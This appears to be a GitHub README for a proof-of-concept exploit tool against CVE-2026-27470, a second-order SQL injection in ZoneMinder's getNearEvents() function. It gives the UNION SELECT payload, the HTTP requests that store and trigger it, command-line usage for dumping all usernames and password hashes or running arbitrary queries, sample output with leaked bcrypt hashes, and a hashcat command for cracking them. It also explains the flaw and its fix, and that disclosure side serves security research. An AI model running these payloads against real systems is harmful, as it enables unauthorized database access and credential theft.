Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

⚠️ YASAL UYARI / LEGAL DISCLAIMER

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.


CVE-2026-27470 — ZoneMinder Second-Order SQL Injection

CVE CVSS Affected Fixed

Proof-of-concept exploit for a second-order SQL injection vulnerability in ZoneMinder. An authenticated user with Events edit and view permissions can extract arbitrary data from the database — including all user credentials.


Overview

Field Details
CVE ID CVE-2026-27470
Severity HIGH — CVSS 8.8
Vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected ZoneMinder ≤ 1.36.37 and 1.37.61 – 1.38.0
Fixed in 1.36.38 / 1.38.1
File web/ajax/status.phpgetNearEvents()
CWE CWE-89: Improper Neutralization of SQL Commands
Auth Required Yes — Events edit + view permission

Vulnerability Details

The Second-Order Pattern

This is a textbook second-order (stored) SQL injection. The attack happens in two separate phases, which is why traditional scanners often miss it.

Phase 1 — Safe Write

The attacker renames an event with a malicious payload. ZoneMinder correctly uses a parameterized query here, so the payload is stored safely in the database without triggering any errors:

POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — safe ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

At this point everything looks clean. The payload is sitting quietly in the Events.Name column.

Phase 2 — Vulnerable Read

The attacker triggers getNearEvents() by requesting the near events for the same event record. The function reads the stored Name value back from the database and concatenates it directly into a new SQL query without any escaping:

GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~line 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← injection point
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

The stored payload breaks out of the string context and the injected UNION SELECT executes, leaking data in the NextEventId field of the JSON response:

{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Why It's Dangerous

The developer made a very common mistake: they correctly sanitized user input at write time, creating a false sense of security. The assumption that "data from our own database is safe" allowed the vulnerability to exist in the read path for years. WAFs and most automated scanners won't catch this because the write request looks completely clean.


Usage

Requirements

pip install requests

Options

-t, --target      Target URL (e.g. http://10.10.10.10:8080)
-u, --username    ZoneMinder username
-p, --password    ZoneMinder password
--event-id        Event ID to use as injection carrier
--query           Custom SQL query to execute
--dump-users      Dump all usernames and password hashes
--field           Injection field: Name (default) or Cause
--no-restore      Do not restore event name after exploitation

Examples

# Check DB version (simplest test)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Dump all users and password hashes
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --dump-users

# Inject via Cause field instead of Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Custom query
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Output

╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝

[*] Target    : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.

[+] User count: 2

[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...

Attack Flow

Attacker                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<PAYLOAD>  ──────► │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parameterized — safe)      │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<PAYLOAD>' ───────│
   │                               │                              │
   │                               │  builds SQL string:          │
   │                               │  WHERE Name >= '<PAYLOAD>'   │
   │                               │  (no escaping!)              │
   │                               │  UNION SELECT executes ────► │
   │                               │◄── credentials ──────────────│
   │◄── JSON with leaked data ─────│                              │

Impact

  • Confidentiality: Full database read — all user hashes, API keys, monitor configurations, system settings
  • Integrity: Depending on database driver configuration, stacked queries may allow data modification
  • Privilege Escalation: Crack the admin bcrypt hash offline and gain full ZoneMinder access
# Crack harvested hashes with hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Notes

  • Events.Name is varchar(64) in the database — keep injection payloads under 63 characters
  • The injection result appears in nearevents.NextEventId in the JSON response
  • ZoneMinder uses bcrypt for password hashing (mode 3200 for hashcat)
  • CSRF protection is handled automatically by the PoC

Remediation

Update ZoneMinder to 1.36.38 or 1.38.1.

The fix is to use a parameterized query placeholder for the stored value instead of string concatenation:

// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);

References


Disclaimer

This tool is for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.

About

ZoneMinder Second-Order SQL Injection PoC — CVE-2026-27470

Resources

Stars

6 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages